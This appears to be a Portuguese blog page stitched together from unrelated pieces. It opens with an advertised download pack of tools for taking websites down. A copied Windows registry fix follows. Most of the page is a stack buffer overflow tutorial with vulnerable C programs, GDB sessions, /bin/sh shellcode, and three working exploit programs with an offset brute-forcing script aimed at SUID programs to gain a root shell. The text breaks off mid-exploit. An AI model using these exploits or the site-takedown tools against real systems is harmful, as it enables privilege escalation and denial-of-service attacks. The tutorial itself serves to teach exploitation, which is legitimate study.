Pack Down Site

                                     
Pacote Com Todos Os Programas Que Você Precisa Para Derrubar Um Site, Programas Totalmente Sem Virus.

Descrição: Pack Site Down
Tamanho: 7MB
Por: AnonymousCyberWar

                                                          DOWNLOAD
Passei por um grande apuro, esses dias para tras, toda vez que eu inicializava meu computador automaticamente abria a pasta meus documentos. Tentei de tudo que um tecnico em computaçao poderia tentar E nao consegui.  Até quando resolvi entrar no proprio site da microsoft, fazer uma pergunta no campo de pesquisa. Entao apareceu minha solucao que poderá ser a de todo mundo tambem.  MICROSOFT EXPLICOU QUE ISSO ERA UM BUG DO WINDOWS
TEXTO COPIADO E COLADO
importante Esta seção, método ou tarefa contém etapas que informam como modificar o Registro. No entanto, poderão ocorrer problemas graves se você modificar o registro incorretamente. Portanto, verifique se que você execute essas etapas com cuidado. Para proteção adicional, faça backup do registro antes de modificá-lo. Em seguida, você pode restaurar o Registro se ocorrer um problema. Para obter mais informações sobre como fazer backup e restaurar o Registro, clique o número abaixo para ler o artigo na Base de Dados de Conhecimento da Microsoft:
322756 (http://support.microsoft.com/kb/322756/ ) Como fazer backup e restaurar o Registro no Windows
Para resolver esse problema, execute estas etapas:
  1. Backup as chaves do registro que você planeja editar antes de modificar o Registro. Para obter mais informações sobre como fazer backup do registro, clique o número abaixo para ler o artigo na Base de Dados de Conhecimento da Microsoft:
322756 (http://support.microsoft.com/kb/322756/ ) Como fazer backup, editar e restaurar o Registro no Windows XP e Windows Server 2003
  1. Verifique as entradas de registro Userinit e PersistBrowsers para certificar-se que elas contêm os valores corretos. Para verificar as entradas do Registro Userinit e PersistBrowsers, execute estas etapas:
  1. Clique em Iniciar , clique em Executar , digite regedit na caixa Abrir e, em seguida, clique em OK .
  2. Localize e, em seguida, clique na seguinte subchave do Registro:
HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionWinlogon
  1. No painel direito, clique com o botão direito do mouse Userinit e clique em Modificar .
  2. Na caixa de diálogo Editar seqüência , digite Windows installation drive letter: WINDOWSsystem32userinit.exe em Dados do valor e, em seguida, clique em OK .
  3. Localize e, em seguida, clique na seguinte subchave do Registro:
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
  1. No painel direito, clique com o botão direito do mouse PersistBrowsers e clique em Modificar .
  2. Na caixa de diálogo Editar valor DWORD , digite 0 em Dados do valor e, em seguida, clique em OK .
Feche o Editor do Registro e reinicie o computador.
Iae galera,
Este tutorial é bem explicativo, de como explorar uma falha em um programa.
Então vamos começar
Stack overflow – esta é uma das técnicas mais fáceis(pelo menos que eu acho).
Não ensinarei a criar shellcodes e essas  coisas,  sei  que  e  relacionado  ao assunto  mais  segue  um  caminho totalmente  diferente com relação  ao  que  eu  quero  passar  para  vocês. Vejam o meu post que eu estou disponibilizando um livro de buffer overflow. Não percam, estou disponibilizando vários livros que eu mesmo estou traduzindo. Dêem uma olhada no blog, e procure sobre alguns dos meus livros.



Introdução
Um processador e formado por uma ULA(Unidade Lógica Aritmética), uma Unidade de Controle e pelos Registradores.
Registradores  são pequenas  áreas da memória(dentro do processador) que servem para armazenar  alguns dados para serem processados para assim não precisar de ficar pegando e tirando dados da memória!  Mais  isso  tem  um  poder  quanto  a  limitação.   Não  pense que esses dados de memórias  chegam  aos  MBytes  muito  menos aos KBytes… estou falando em registradores de alguns Bits.
Isso nos da uma limitação quando nós carregamos um programa… porque não conseguirmos executar todas as instruções sem a perda de alguns dados… Para isso existe a pilha…
A pilha(stack) é uma forma de ampliar a nossa área de atuação…   Ela é uma região da memória que foi separada para armazenar alguns dados do processamento de um programa. Vejamos a utilização de uma função em C:
——————————-
Soma (10, 4);
——————————-
Talves, o processador poderia colocar esses valores nos registradores. mas se fossem numero muito grande ou se o numero que eu quisesse
somar fosse maior que o numero de registradores? Isso ele resolve facilmente…
ele simplesmente empurra (push) esses valores para a pilha… Só que ele não pode
empurrar o 10 e depois o 4 porque a pilha não tem esse nome em vão. Ela tem esse nome justamente porque ela funciona como uma pilha de livros…
Se você colocar um livro em cima da pilha, quando você retirar, você vai tirar o
ultimo que você colocou já que ele esta no topo… Então para processar esses
parâmetros passados e necessários empurrar o 4 e em seguida o 10:
——————————-
push 4
push 10
——————————————————————————————-
Então vamos ao nosso Primeiro programa bugado(vulnerável)
Agora vamos ver como um programa faz para separar uma área de stack para
armazenar um valor! Vamos fazer o seguinte programa em C:
++++++++++++ vuln01.c +++++++++++++++
/*
Primeiro exemplo de programa bugado a stack overflow para o tutoria de Stack Overflow.
Escrito por chuck_newbie, mas em qualquer tutorial e mesma coisa .
chuck_newbie@hotmail.com
*/
#include <stdio.h>
int main(int argc, char *argv[]) {
char buffer[256];
if (argc < 2) {
printf (“Use: %s <string>n”, argv[0]);
exit(0);
}
strcpy(buffer, argv[1]);
printf (“Você digitou: %sn”, buffer);
}
++++++++++++++++++++++++++++++++
Esse e um simples programa que separa uma área no stack para armazenar
vários caracteres(no caso foi 256). Em seguida ele pega o primeiro argumento passado
pelo usuário e copia para dentro dessa variável supondo que o usuário não digite
mais que 256.
“Mais que 256”, eu falo isso porque quando você declarou a variável para aceitar até 256 caracteres, o sistema separo espaço no stack para armazenar esse valor..
Então ele disse “essa área vai ser para o variável buffer e ela terá o máximo 256 bytes… ou seja… ninguém mais vai usar ela!” e o resto do sistema não usa esse espaço na memória… mais tem um porem… Ele pode muito bem usar o que tem antes e o que tem depois…
E ele irá usar para armazenar dados importantes para nosso programa.
E se colocar-mos mais, o que aconteceria?
Vamos testar?
————————————-
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc -o vuln01 vuln01.c
newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln01
Use:  ./vuln01 <string>
newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln01 chuck_newbie
Você digitou: chuck_newbie
newbie@hostnotfound:~/técnicas/stack_overflow$
————————————-
Agora entendeu como ele funciona? Ele simplesmente pega o valor que eu digitei como parâmetro e copia para dentro da variável buffer! Mais veja o seguinte:
————————————-
newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln01 `perl -e ‘print “A”x300;’`
Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$
————————————
Para quem não conhece perl, eu explico; única coisa que eu fiz agora, foi multiplicar o “A” por 300, que o resultado deu trezentos A.
Então, quando eu fiz essa multiplicação, eu mandei esse tanto de “A”, para o programa bugado, e deu erro no nosso programa:
É obvio porque deu ERRO, mais vou explicar. É Porque nós colocamos mais dados no buffer do que ele suportava.
Isso fez com que fosse sobrescrita alguma área de memória importante para o funcionamento do nosso programa.
Essa área nada mais e do que o endereço de retorno da função “strcpy”.
Debugando com o GDB
Vamos usar o programa GDB(GNU Debugger) para saber o que o sistema faz no nosso programa:
——————————–
newbie@hostnotfound:~/tecnicas/stack_overflow$ gdb vuln01
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB.  Type “show warranty” for details.
This GDB was configured as “i486-slackware-linux”…
———————————-
Agora vamos disassemblar a função main
———————————-
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    sub    $0×108,%esp
0x080483cd <main+9>:    and    $0xfffffff0,%esp
0x080483d0 <main+12>:   mov    $0×0,%eax
0x080483d5 <main+17>:   sub    %eax,%esp
0x080483d7 <main+19>:   cmpl   $0×1,0×8(%ebp)
0x080483db <main+23>:   jg     0x80483f7 <main+51>
0x080483dd <main+25>:   sub    $0xc,%esp
0x080483e0 <main+28>:   push   $0x80484f4
0x080483e5 <main+33>:   call   0x80482d0
0x080483ea <main+38>:   add    $0×10,%esp
0x080483ed <main+41>:   sub    $0xc,%esp
0x080483f0 <main+44>:   push   $0×0
0x080483f2 <main+46>:   call   0x80482e0
0x080483f7 <main+51>:   sub    $0×8,%esp
0x080483fa <main+54>:   mov    0xc(%ebp),%eax
0x080483fd <main+57>:   add    $0×4,%eax
0×08048400 <main+60>:   pushl  (%eax)
0×08048402 <main+62>:   lea    0xfffffef8(%ebp),%eax
0×08048408 <main+68>:   push   %eax
0×08048409 <main+69>:   call   0x80482f0
0x0804840e <main+74>:   add    $0×10,%esp
0×08048411 <main+77>:   sub    $0×8,%esp
0×08048414 <main+80>:   lea    0xfffffef8(%ebp),%eax
0x0804841a <main+86>:   push   %eax
0x0804841b <main+87>:   push   $0×8048506
0×08048420 <main+92>:   call   0x80482d0
0×08048425 <main+97>:   add    $0×10,%esp
0×08048428 <main+100>:  leave
0×08048429 <main+101>:  ret
0x0804842a <main+102>:  nop
End of assembler dump.
(gdb)
—————————————-
Vamos tentar entender alguma coisa dai!
Não e necessário saber Tudo.
Vamos começar nas duas primeiras linhas:
—————————————-
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
—————————————-
Esse e o procedimento inicial de qualquer programa C compilado!
continuando:
—————————————
0x080483c7 <main+3>:    sub    $0×108,%esp
————————————–
Essa instrução subtrai 0×108(264) “ds” posição do stack(Stack Pointer – SP).
Isso serve para declararmos uma posição no stack para uma variável, e essas
coisas.
Podemos observar que existe varias chamadas(calls) para outras partes
da memória… Mais tem um porem na instrução call, você sabe como ela faz
para poder retornar na instrução seguinte?
O que eu quero saber é como o programa sabe em que endereço os “call” foram executados para poder voltar quando terminar de executá-lo!
Simples…
O nome desse endereço, é endereço de retorno(Return Address) e ele ficam armazenados no stack..
Olha que legal!
Então vejamos… Se nos separamos espaço para nossa variável de 256
caracteres e um pouco acima(isso e pilha) separamos um espaço para o
endereço de retorno o que acontece se nos colocarmos mais de 256 caracteres?
Para ficar mais claro veja o esquema?
PILHA
———————————————————————————–
| buffer[256]          | mais alguma coisa | endereco de retorno |
———————————————————————————–
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|——————————————————————————->
Percebeu que uma hora nés sobrescrevemos o endereco de retorno?
Entao vamos ver isso na pratica :)
Vamos imprimir na tela, 272 “AS”, e mandar para nosso programa que está separando 256 bits.
——————————
(gdb) r `perl -e ‘print “A”x272;’`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/newbie/tecnicas/stack_overflow/vuln01 `perl -e ‘print “A”x272;’`
Voce digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0×41414141 in ?? ()
(gdb)
——————————
Deu um erro de segmentação!
porque aonde esta 0×41414141?
—————————–
0×41414141 in ?? ()
—————————–
OBS: quando você estiver estudando este tutorial, baixe o programa debuger, e faça os mesmos teste, pois os resultados que estamos pegando está la.
VOLTANDO..
Você pode estar se perguntado o que isso prova. qual e o valor HEX do
caracteres A ? 0×41 ?
o programa tentou apontar para a posição AAAA da memória!
Se ainda não ficou muito claro vamos ver o seguinte:
——————————
(gdb) r `perl -e ‘print “A”x268 . “ABCD”;’`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/newbie/tecnicas/stack_overflow/vuln01 `perl -e ‘print “A”x268 . “ABCD”;’`
Voce digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAABCD
Program received signal SIGSEGV, Segmentation fault.
0×44434241 in ?? ()
(gdb)
—————————–
Agora ele tentou saltar para o endereço 0×44434241 = BCDA.. Uai, mais eu
Não digitei ABCD no final…
Sim amigo… mais se lembra que no stack o ultimo a entrar e o primeiro a sair?
Nesse caso ele empurro(push) o caractere “D” para o ultimo…
Entao ele foi o primeiro a sair(0×44).. Mais com isso nos só conseguimos fazer
um simples ataque DoS no sistema para killar algum programa e isso não nos interessa
muito! Então o que podemos fazer mais?
Como você percebeu… nós conseguimos alterar para onde o programa saltará.
Então porque não fazemos ele saltar para uma posição da memória que tenha um código
que realmente de para executar?
ta começando a clarear?
Nós podemos executar qualquer código dentro do sistema!
Agora entra um outro assunto mais antes vamos pegar um valor importante para nosso exploit inicial:
a posição da stack(Stack Pointer ou ESP) para fazer nosso exploit inicial. Veremos
que podemos usar um artifício para não precisar de saber esse valor mais inicialmente
é bom saber-mos:
————————
(gdb) info reg esp
esp            0xbffff420       0xbffff420
(gdb)
———————–
Agora vamos ao outro assunto que eu disse agora pouco!
————————————————————————————————–
Programas SUID
Programas SUID são programa que tem o bit mais ativado(chmod +s vuln01)
isso faz com que ele seja executado com as permissões  do super usuário(root)..
mais você fica limitado só a esse programa… não adianta tentar colocar ele
em background e digitar ‘id’ esperando um uid=0(root) que você  vai se decepcionar!
Aí, que nos entramos…
Se esse programa estiver vulnerável a overflow nós podemos
executar algum código dentro dele… então  nós so precisamos de executar um
/bin/sh para abrir uma shell como root… já que o programa que executo ele está
rodando com as permissões do root!
Qual código colocar na memória?
O código que deveremos colocar na memória se chama shellcode(código
de shell)… só  q ele deve ser escrito em linguagem de maquina para ser executado!
Veja o post que eu disponibilizo um livro de shellcodes em português. Logo, baixe o livro e estude. O shellcode que nos executaremos e o seguinte:
————————————-
char shellcode[] = “xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b”                                   “x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd”
“x80xe8xdcxffxffxff/bin/sh”;
————————————
Se você assustou, então faça o que eu disse o livro, que você vai entender como criar uma shell.
O que você precisa de saber de ante mão e que esse código  faz o mesmo que:
execl(“/bin/sh”,”/bin/sh”,0);
Só que em linguagem de maquina!
Escrevendo o Exploit
Para, aprender a criar um exploit. Veja em um de meus posts que eu estou disponilizando um livro traduzido do metasploit.
Agora que temos a shell,  vem a parte mais legal de tudo…
Vamos fazer um programa que explora esse nosso programa fazendo ele executar o nosso shellcode!
O que nos faremos e o seguinte:
Encheremos uma variável com nosso shellcode e com o endereço dele de uma
maneira que esse endereço fique corretamente sobre o endereço de retorno da seguinte
forma:
+—————————-+——————————+———————–
| buffer[256]                 |      mais alguma cosia  |         retorno       |
+————————— +——————————+———————–
| CCCCCCCCCCCCCCCRRRRRRRRRRRRRRRRRRRRRRRRRRRRR|
onde:
C = Nosso shellcode
R = Novo endereço de retorno
O grande problema(agora) é saber para onde apontar já que ele deve apontar
corretamente no inicio do nosso shellcode… então nós teremos que fazer o endereço
de retorno apontar para a posição da pilha(ESP) já que nosso shellcode ficara lá  e
em seguida ficar chutando variações(offsets) para tentar fazer ele cair certinho aonde
queremos! Segue o código do exploit bem comentado:
+++++++++++++++++ 1_xpl.c +++++++++++++++++++++
/*
Exploit para o primeiro exemplo de programa bugado a stack overflow
Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial
*/
#define TAM    272              // Tamanho do nosso buffer até ele sobrescrever o ret
#define ESP     0xbffff420   // Posição da pinha que nos pegamos usando o GDB
//  Vamos declarar nosso shellcode
char shellcode[] =
“xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b”
“x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd”
“x80xe8xdcxffxffxff/bin/sh”;
int main(int argc, char *argv[]) {
char buffer[TAM];
long addr;  // Para armazenar o endereço do shellcode
int i;
// Armazenamos o valor do endereço  de buffer
addr = ESP;
// Possibilitamos alterar o endereço de retorno para chutar variações(offsets)
if (argc > 1) addr += atoi(argv[1]);
printf(“Novo endereço: 0x%08xn”, addr);
// Enchemos o buffer com o esp + offset(q se tivermos sorte será aonde está nosso shellcode)
for (i = 0; i < TAM; i += 4)
*(long *)&buffer[i] = addr;
// Agora colocamos o shellcode no inicio dele
memcpy(buffer, shellcode, strlen(shellcode));
// E executamos vuln01 passando nosso buffer maligno como parâmetro
execl(“./vuln01″, “vuln01″, buffer, 0);
}
++++++++++++++++++++++++++++++++++++++++++
Agora vamos ao teste:
———————————————
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 1_xpl.c -o 1_xpl
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl
Novo endereço: 0xbffff420
Você digitou: ë^1ÀFF
(um monte de trosso estranho)
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$
———————————————
Vimos que não deu de cara o inicio já que nosso shellcode não esta no inicio do stack
Então  só nos resta ficar chutando offsets de 1 em 1:
——————————————
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 1
Novo endereco: 0xbffff421
Você digitou: ë^1ÀFF
Instrução ilegal
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 2
Novo endereco: 0xbffff422
Você digitou: ë^1ÀFF
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 3
Novo endereço: 0xbffff423
Instrução ilegal
newbie@hostnotfound:~/técnicas/stack_overflow$
——————————————
Isso e trabalhoso, né ? Logo, a função de nós(fucadores) e agilizar nosso trabalho.
Faça o seguinte script em perl:
++++++++++++ exec.pl +++++++++++++++
#!/usr/bin/perl
############################################
# Script[zinhu] para agilizar o chute dos offsets em uso nos exploits    #
# Feito por chuck_newbie – chuck_newbie@hotmail.com                      #
# use: perl exec.pl [programa] [offset inicial] [offset final] [variacao]  #
############################################
$prog=$ARGV[0];
$offset_ini=$ARGV[1];
$offset_fim=$ARGV[2];
$offset_int=$ARGV[3];
for ($i = $offset_ini; $i < $off_set_fim; $i += $offset_int) {
printf “Offset: ” . $offset_ini + $i . “n”;
system(“./$prog $i”);
}
++++++++++++++++++++++++++++++++
Agora vamos testá-lo:
——————————————–
newbie@hostnotfound:~/tecnicas/stack_overflow$ perl exec.pl 1_xpl 1 1000 1
blablablablalba
blablablablablablabla
blablablablablabla
( e depois de varios offsets )
417
Novo endereco: 0xbffff5c1
Você digitou: ë^1ÀFF
sh-2.05b$
——————————————
Executamos o /bin/sh.
Mais percebeu que foi usado o offset 417 ?
Se tivesse que fazer isso na mão quando você acertasse seu filho já conheceria essa
Técnica(supondo que você ainda não tenha nenhum)! Então vamos melhorar nosso
exploit consideravelmente usando um artifício muito bom e utilizado!
Utilizando NOP – No Operation
Um NOP e um comando em ASM que significa No Operation.. ou seja.. ele faz
uma coisa muito importante..NADA!!
O que nós poderíamos fazer é o seguinte:
- Encher nosso buffer com NOPs e depois com nosso shellcode. Isso porque se o
Endereço de retorno cair em algum NOP então ele e executado corretamente
e em seguida passa para o próximo e assim vai ate chegar ao destino?
isso!!!
No nosso querido e amado shellcode! Então nos temos que fazer nosso buffer da seguinte forma!
+—————————-+——————————+———————–
| buffer[256]                 |      mais alguma cosia  |         retorno       |
+————————— +——————————+———————–
| NNNNNNNNNNNCCCCCCCCCCCCCCCRRRRRRRRRRRRRRRRR|
Onde:
N = NOP = 0×90(linguagem de maquina)
C = ShellCode
R = Endereço que sobrescrevera o endereço de retorno
Se você já entendeu vamos parar de falar e vamos ao código… agora, si você não entendeu leia de novo:
+++++++++++++++++ 2_xpl.c +++++++++++++++++++++
/*
Segundo exploit para o primeiro exemplo de programa bugado a stack overflow
Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial
*/
#define TAM    272
#define ESP     0xbffff420
#define NOP   0×90
//  Vamos declarar nosso shellcode
char shellcode[] =
“xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b”
“x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd”
“x80xe8xdcxffxffxff/bin/sh”;
int main(int argc, char *argv[]) {
char buffer[TAM];
long addr;  // Para armazenar o endereço do shellcode
int i;
// Armazenamos o valor do endereço de buffer
addr = ESP;
// Possibilitamos alterar o endereço de retorno para chutar variações(offsets)
if (argc > 1) addr += atoi(argv[1]);
printf(“Novo endereço: 0x%08xn”, addr);
// Enchemos o buffer com o esp(que pressupomos que e onde esta o shellcode)
for (i = 0; i < TAM; i += 4) {
*(long *)&buffer[i] = addr;
}
// Vamos encher uma parte do buffer com nossos NOPs
for (i = 0; i < TAM – strlen(shellcode) – 24; i++)
buffer[i] = NOP;
printf (“Colocado %d NOPsn”, TAM – strlen(shellcode) – 24);
// Agora colocamos o shellcode depois dos nops
memcpy(buffer + i, shellcode, strlen(shellcode));
// E executamos vuln01 passando nosso buffer maligno como parâmetro
execl(“./vuln01″, “vuln01″, buffer, 0);
}
++++++++++++++++++++++++++++++++++++++++++
Agora executando:
————————————
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 2_xpl.c -o 2_xpl
newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl
Novo endereco: 0xbffff420
Colocado 203 NOPs
Você digitou: ë^1ÀFF
(lixo)
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$
———————————–
Ainda não… Mais isso era de se esperar.
Mais ele nos deu uma informação importante… Ele nos disse que tem 203 NOPs…
Isso nos possibilita chutar offsets variando de 203 em 203.
Bem melhor do que de um em um.
Vamos tentar na unha mesmo!
———————————-
newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 200
Novo endereco: 0xbffff4e8
Colocado 203 NOPs
Você digitou: ë^1ÀFF
Instrução ilegal
newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 400
Novo endereco: 0xbffff5b0
Colocado 203 NOPs
Você digitou: ë^1ÀFF
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 600
Novo endereço: 0xbffff678
Colocado 203 NOPs
Você digitou: ë^1ÀFF
sh-2.05b$ exit
exit
———————————–
Conseguimos com apenas três chutes nos conseguimos fazer o endereço de
retorno apontar para nosso shellcode(pelo menos para um dos 203 NOPs :D )!
Vamos agora a mais um passo para facilitar a nossa vida!
Fazendo o exploit pegar o ESP
Um dos maiores problemas de escrever exploits e que as posições de memória
variam de compilação a compilação, de sistema a sistema e de execução a
execuçao! Isso quer dizer que se você fizer um exploit para sua maquina talvez ele não
funfe em outra, porque o endereço do ESP pode ter mudado drasticamente!
Mais graças a Deus podemos usar um artifício para conseguirmos pegar o nosso
Tão querido ESP dentro do nosso exploit… não entrarei em detalhes! Só teste o
seguinte:
+++++++++++ pega_esp.c ++++++++++++++++
unsigned long pega_esp(void) {
__asm__(“movl %ESP, %EAX”);
}
void main() {
printf (“Abracadabra..nAlacasan…nE nosso ESP e 0x%08x!nTchanranram!!!nn”,pega_esp());
}
++++++++++++++++++++++++++++++++++
Nossa função pega_esp() só move o vamos do ESP para o registrador EAX que
“por coincidência” e o valor do resultado das funções! Agora compile e execute:
———————————————
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc pega_esp.c -o pega_esp
pega_esp.c: In function `main’:
pega_esp.c:5: warning: return type of `main’ is not `int’
newbie@hostnotfound:~/técnicas/stack_overflow$ ./pega_esp
Abracadabra..
Alacasan…
E nosso ESP e 0xbffff518!
Tchanranram!!!
newbie@hostnotfound:~/técnicas/stack_overflow$
———————————————
Ai esta nosso ESP!!
Agora vamos deixar em embromação e vamos a
escrita de nosso shellcode mais aperfeiçoado ainda:
+++++++++++++++ 3_xpl.c ++++++++++++++++++++++++
/*
Terceiro exploit para o primeiro exemplo de programa bugado a stack overflow
Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial
*/
#define TAM    272
#define NOP   0×90
// Nossa função[zinha] que pega o valor do nosso ESP
unsigned long pega_esp(void) {
__asm__(“movl %ESP, %EAX”);
}
//  Vamos declarar nosso shellcode
char shellcode[] =
“xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b”
“x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd”
“x80xe8xdcxffxffxff/bin/sh”;
int main(int argc, char *argv[]) {
char buffer[TAM];
long addr;  // Para armazenar o endereço do shellcode
int i;
// Armazenamos o valor do endereço de buffer
addr = pega_esp();
// Possibilitamos alterar o endereco de retorno para chutar variações(offsets)
if (argc > 1) addr += atoi(argv[1]);
printf(“Novo endereco: 0x%08xn”, addr);
// Enchemos o buffer com o esp(que pressupomos que e onde esta o shellcode)
for (i = 0; i < TAM; i += 4) {
*(long *)&buffer[i] = addr;
}
// Vamos encher uma parte do buffer com nossos NOPs
for (i = 0; i < TAM – strlen(shellcode) – 24; i++)
buffer[i] = NOP;
printf (“Colocado %d NOPsn”, TAM – strlen(shellcode) – 24);
// Agora colocamos o shellcode depois dos nops
memcpy(buffer + i, shellcode, strlen(shellcode));
// E executamos vuln01 passando nosso buffer maligno como parâmetro
execl(“./vuln01″, “vuln01″, buffer, 0);
}
+++++++++++++++++++++++++++++++++++++++++
Da para perceber que a única diferença e que trocamos o valor de ESP que tínhamos
antes pelo valor que acabamos de pegar! Isso facilita para rodar os xpl’s em outros
sistemas! A execução será  a mesmo:
———————————-
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 3_xpl.c -o 3_xpl
newbie@hostnotfound:~/técnicas/stack_overflow$ ./3_xpl 600
Novo endereco: 0xbffff650
Colocado 203 NOPs
Você digitou: ë^1ÀFF
(alguns lixo da memória)
sh-2.05b$ exit
exit
———————————-
Espero amigo que esse entendimento tenha ficado bem claro para voce!
Si você quer estudar mais sobre exploração. Então veja os outros posts no meu blog, pois eu tenho 4 lindos livros(metasploit, buffer overflow, shellcode, arquitetura, assembly).
Entre no meu blog e confira as novidades, e veja os posts sobre os livros. Mas, por favor: so baixe o livro si você for realmente estudar. Si não for, não baixe.
Agora, vamos ao mais um obstáculo para nossos estudos. Veja o nosso segundo programa bugado abaixo:
+++++++++++++++++ vuln02.c ++++++++++++++++++++
#include <stdio.h>
int main(int argc, char *argv[]) {
char buffer[8];
if (argc < 2) {
printf (“Use: %s <string>n”, argv[0]);
exit(0);
}
strcpy(buffer, argv[1]);
printf (“Você digitou: %sn”, buffer);
}
+++++++++++++++++++++++++++++++++++++++++++
Repare que ele esta vulneravel da mesma forma que o anterior… Só que tem um
grande problema! O buffer só tem 16 bytes e não caberá nem NOPs nem o ShellCode
dentro dele porque o próprio shellcode sobrescrevera o endereço de retorno!
Mais podemos ver perfeitamente que ele esta vulnerável:
————————————-
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc vuln02.c -o vuln02
newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln02
Use: ./vuln02 <string>
newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln02 chuck_newbie
Você digitou: chuck_newbie
newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln02 `perl -e ‘print “A”x30;’`
Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$ ulimit -c 1234567
newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln02 `perl -e ‘print “A”x29 . “BCDE”;’`
Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE
Falha de segmentação (core dumped)
newbie@hostnotfound:~/tecnicas/stack_overflow$ gdb -c core
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB.  Type “show warranty” for details.
This GDB was configured as “i486-slackware-linux”.
Core was generated by `./vuln02 AAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE’.
Program terminated with signal 11, Segmentation fault.
#0  0×44434241 in ?? ()
(gdb)
———————————
Podemos ver perfeitamente que nos podemos sobrescrever o endereço de retorno
do programa vulnerável para apontar para outro lugar! Mais não podemos colocar
nosso shellcode com nossos nops nessa variável porque não caberia… Mais eu nunca
disse que eles precisam estar nessa variável! E só colocar ele em qualquer outro
lugar da memória e fazer ele apontar para lá! Um bom lugar seria as variáveis de
ambiente porque elas(quando declaradas no nosso programa) vão para o topo to stack!
Então nosso exploit só precisa de setar uma variável  de ambiente com nossos
NOPs e nosso shellcode e fazer o programa bugado apontar para lá, que no caso seria
mais perto to topo do stack do que no exemplo anterior!
Então vamos ao exploit:
++++++++++++++++++++ 1_2_xpl.c +++++++++++++++++++
/*
Exploit para o segundo programa bugado a stack overflow
com um buffer muito pequeno! Desenvolvedor por Chuck_NewBie
chuck_newbie@hotmail.com
*/
#include <stdio.h>
